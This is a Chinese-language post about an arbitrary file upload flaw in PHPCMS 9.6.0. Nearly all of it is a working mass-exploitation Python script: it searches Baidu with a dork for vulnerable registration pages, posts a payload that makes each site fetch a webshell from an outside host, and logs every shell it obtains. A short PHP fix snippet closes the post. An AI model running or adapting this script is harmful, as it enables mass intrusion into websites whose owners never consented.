【渗透测试】PHPCMS9.6.0 任意文件上传漏洞+修复方案

siteid=1&modelid=11&username=seven1&password=seven123456&email=seven@qq.com&info[content]=<img src=http://127.0.0.1/333.txt?.php#.jpg>&dosubmit=1&protocol=

 1 # -*- coding:utf-8 -*-
 2 
 3 '''
 4 ----------------------
 5 Author : Akkuman
 6 Blog   : hacktech.cn
 7 ----------------------
 8 '''
 9 
10 import requests
11 from bs4 import BeautifulSoup
12 # from urlparse import unquote //Python2
13 # from urlparse import urlparse //Python2
14 from urllib.parse import quote
15 from urllib.parse import urlparse
16 from random import Random
17 
18 chars = 'qwertyuiopasdfghjklzxcvbnm0123456789'
19 
20 headers = {
21     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0"
22 }
23 
24 def parseBaidu(keyword, pagenum):
25     keywordsBaseURL = 'https://www.baidu.com/s?wd=' + str(quote(keyword)) + '&oq=' + str(quote(keyword)) + '&ie=utf-8' + '&pn='
26     pnum = 0
27     while pnum <= int(pagenum):
28         baseURL = keywordsBaseURL + str(pnum*10)
29         try:
30             request = requests.get(baseURL, headers=headers)
31             soup = BeautifulSoup(request.text, "html.parser")
32             for a in soup.select('div.c-container > h3 > a'):
33                 url = requests.get(a['href'], headers=headers, timeout=7).url
34                 yield url
35         except:
36             yield None
37         finally:
38             pnum += 1
39 
40 
41 def saveShell(shellUrl):
42     with open("webShell.txt","a+") as f:
43         f.write("[*]%s\n" % shellUrl)
44 
45 def main():
46     data = {
47         "siteid": "1",
48         "modelid": "1",
49         "username": "akkumandsad",
50         "password": "123456",
51         "email": "akkakkumafa@qq.com",
52         # 如果想使用回调的可以使用http://file.codecat.one/oneword.txt，一句话地址为.php后面加上e=YXNzZXJ0,普通一句话http://file.codecat.one/normalOneWord.txt
53         "info[content]": "<img src=http://7xusrl.com1.z0.glb.clouddn.com/bypassdog.txt?.php#.jpg>",
54         "dosubmit": "1",
55         "protocol": "",
56     }
57     for crawlUrl in parseBaidu("inurl:index.php?m=member&c=index&a=register&siteid=1", 10):
58         try:
59             if crawlUrl:
60                 rand_name = chars[Random().randint(0, len(chars) - 1)]
61                 data["username"] = "akkuman_%s" % rand_name
62                 data["email"] = "akkuman_%s@qq.com" % rand_name
63                 host = urlparse(crawlUrl).scheme + "://" + urlparse(crawlUrl).hostname
64                 url = host + "/index.php?m=member&c=index&a=register&siteid=1"
65                 htmlContent = requests.post(url, data=data, timeout=10)
66                 successUrl = ""
67                 if "MySQL Error" in htmlContent.text and "http" in htmlContent.text:
68                     successUrl = htmlContent.text[htmlContent.text.index("http"):htmlContent.text.index(".php")] + ".php"
69                     print("[*]Shell  : %s" % successUrl)
70                     saveShell(successUrl)
71                 if successUrl == "":
72                     print("[x]Failed : Failed to getshell.")
73             else:
74                 continue
75         except:
76             print("Request Error")
77 
78 
79 
80 if __name__ == '__main__':
81     main()

1 if(!stripos($ext,$filename)){
2     $arryfilename = explode("|", $ext);
3     foreach($arryfilename as $n=>$fn){
4                 if($fn){
5                        $filename = $fn;
6                         continue;
7                 }
8      }
9 }